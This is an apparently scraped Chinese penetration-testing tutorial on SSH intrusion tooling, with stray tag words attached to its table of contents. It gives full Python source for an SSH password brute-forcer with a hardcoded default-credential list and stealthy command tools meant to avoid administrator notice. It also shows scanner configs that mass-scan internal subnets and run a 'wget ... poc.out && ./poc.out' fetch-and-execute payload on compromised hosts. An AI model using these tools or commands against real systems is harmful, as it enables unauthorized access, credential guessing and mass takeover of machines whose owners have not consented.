0x000 目錄html
1.Kali開啓SSHpython
2.SSH鏈接工具優缺點git
3.滲透專用SSH鏈接工具github
4.ssh執行cmd源碼shell
5.批量SSH密碼破解安全
6.SSH批量上控網絡
7.相關工具下載ssh
0x001 SSH配置工具
1.打開文件 etc/ssh/sshd_config 2.添加permitrootlogin yes 3.將#PasswordAuthentication yes的註釋去掉
0x002 重啓ssh服務測試
/etc/init.d/ssh restart /etc/init.d/ssh stop (爲了安全測試完ssh工具後可將其關閉)
0x003 SSH鏈接
1.sshshell交互式鏈接
sshshell.exe 192.168.1.106 22 root toor
sshshell.exe 單文件交互式SSH鏈接工具(優勢相似putty可保持會話,缺點也相似putty保持鏈接)
之前我沒寫有人說你要是加上保持會話功能比較好,說話的語氣像是這個很難你沒能力實現同樣
搞滲透爲了隱蔽纔沒讓其保持鏈接,不是沒能力,你要是正常鏈接網上工具不少功能還強大的很
不過對我來講不少功能用不到,並且不少工具又大又須要安裝過於麻煩,因此我順手寫了這工具
使用putty或網上其它SSH管理工具鏈接目標機,管理員都可看到攻擊者一直在鏈接
有些人鏈接SSH去操做沒多久,IP被BAN還不知道什麼緣由
安服的或許無所謂,畢竟都是受權的,直接扛電腦去接入內網搞
真正從事滲透的,你不專業的操做沒被發現,只能說管理員很蠢
2.sshcmd 非交互式SSH鏈接
滲透專版SSH鏈接工具GUI版,命令行版爲sshcmd.exe非交互
優勢都是執行完命令當即註銷會話(即目標機看不到網絡鏈接)
sshcmd命令行非交互式,python版編譯的很大9M(你們可自行編譯不一樣PY或依賴版本可能會更小,之前我編譯的才6M)
也可用該工具驗證密碼是否正確,比sshtest要好,畢竟直接可看到是否可執行CMD命令
3.sshtest密碼驗證
sshtest.exe 192.168.1.106 22 root toor
4.K8Cscan批量驗證SSH密碼
0.將Cscan.exe Cscan.ini sshcrack.exe放置同一目錄
Cscan.ini內容以下
1.爆破弱口令(當前無密碼或已獲取多個賬密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 "" "" -crack
2.驗證一個已知密碼(快速檢測內網其它機器是否使用同一賬密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 root k8gege -test
3.Cscan掃描單個C段/B段/A段機器
cscan 192.168.1.108 (單個IP) cscan 192.168.1.108/24 (C段) cscan 192.168.1.108/16 (B段) cscan 192.168.1.108/8 (A段)
4.Cscan批量IP/批量C段/批量B段掃描
新建 ip24.txt或ip16.tx或ip.txt 文件,而後輸入Cscan便可(無需其它參數)
如下Cscan.ini不指定端口,因經過K8portscan識別出來非22端口
不指定端口意味着ip.txt裏須要填寫上對應SSH端口
需將圖中的sshtest.exe改爲sshcrack.exe
0x004 sshcmd源碼
import paramiko import sys print("sshcmd 1.0") print("by k8gege") ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]) stdin, stdout, stderr = ssh.exec_command(sys.argv[5]) print stdout.read() ssh.close()
0x005 sshcrack源碼
[原創]內網SSH密碼爆破工具sshcrack(配合Cscan批量弱口令檢測)
http://www.javashuo.com/article/p-xmkcomvz-gx.html
#sshcrack 1.0 #author: k8gege #https://www.cnblogs.com/k8gege #https://github.com/k8gege import paramiko import sys import logging ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) logging.raiseExceptions=False def checkSSH(host,port,user,pwd): try: ssh.connect(host,port,user,pwd) print host+' '+port+' '+user+' '+pwd+' LoginOK' except: pass host=sys.argv[1] port=sys.argv[2] user=sys.argv[3] pwd=sys.argv[4] type=sys.argv[5] if type=='-test': checkSSH(host,port,user,pwd) elif type=='-crack': checkSSH(host,port,'root','123456') checkSSH(host,port,'root','cisco') checkSSH(host,port,'root','Cisco') checkSSH(host,port,'admin','123456') checkSSH(host,port,'cisco','123456') checkSSH(host,port,'cisco','cisco') checkSSH(host,port,'Cisco','Cisco') checkSSH(host,port,'cisco','cisco123') checkSSH(host,port,'admin','admin') checkSSH(host,port,'root','Admin') checkSSH(host,port,'root','toor') checkSSH(host,port,'root','Admin123') checkSSH(host,port,'root','system') checkSSH(host,port,'root','system123') checkSSH(host,port,'root','System') checkSSH(host,port,'root','System123') checkSSH(host,port,'root','Admin123!@#') checkSSH(host,port,'root','root123!@#') checkSSH(host,port,'root','root2019') checkSSH(host,port,'root','root2018') checkSSH(host,port,'root','root2017') checkSSH(host,port,'root','root2016') checkSSH(host,port,'root','root2015') checkSSH(host,port,'root','root2014') checkSSH(host,port,'root','root2013') checkSSH(host,port,'root','root2012') else: checkSSH(host,port,user,pwd)
0x006 Linux批量上控
經過調用sshcmd.exe可實現批量驗證SSH密碼或者批量上控
詳見: [教程]K8Cscan調用外部程序例子(Win/Linux批量上控)
ip.txt內容 格式: IP 端口 用戶 賬密
192.168.1.8 22 root k8123456 192.168.1.100 444 root admin123 10.1.11.5 22 root p@walod 172.3.4.6 22 root test
Cscan.ini內容
[Cscan] exe=sshcmd.exe arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 工具下載
https://github.com/k8gege/sshshell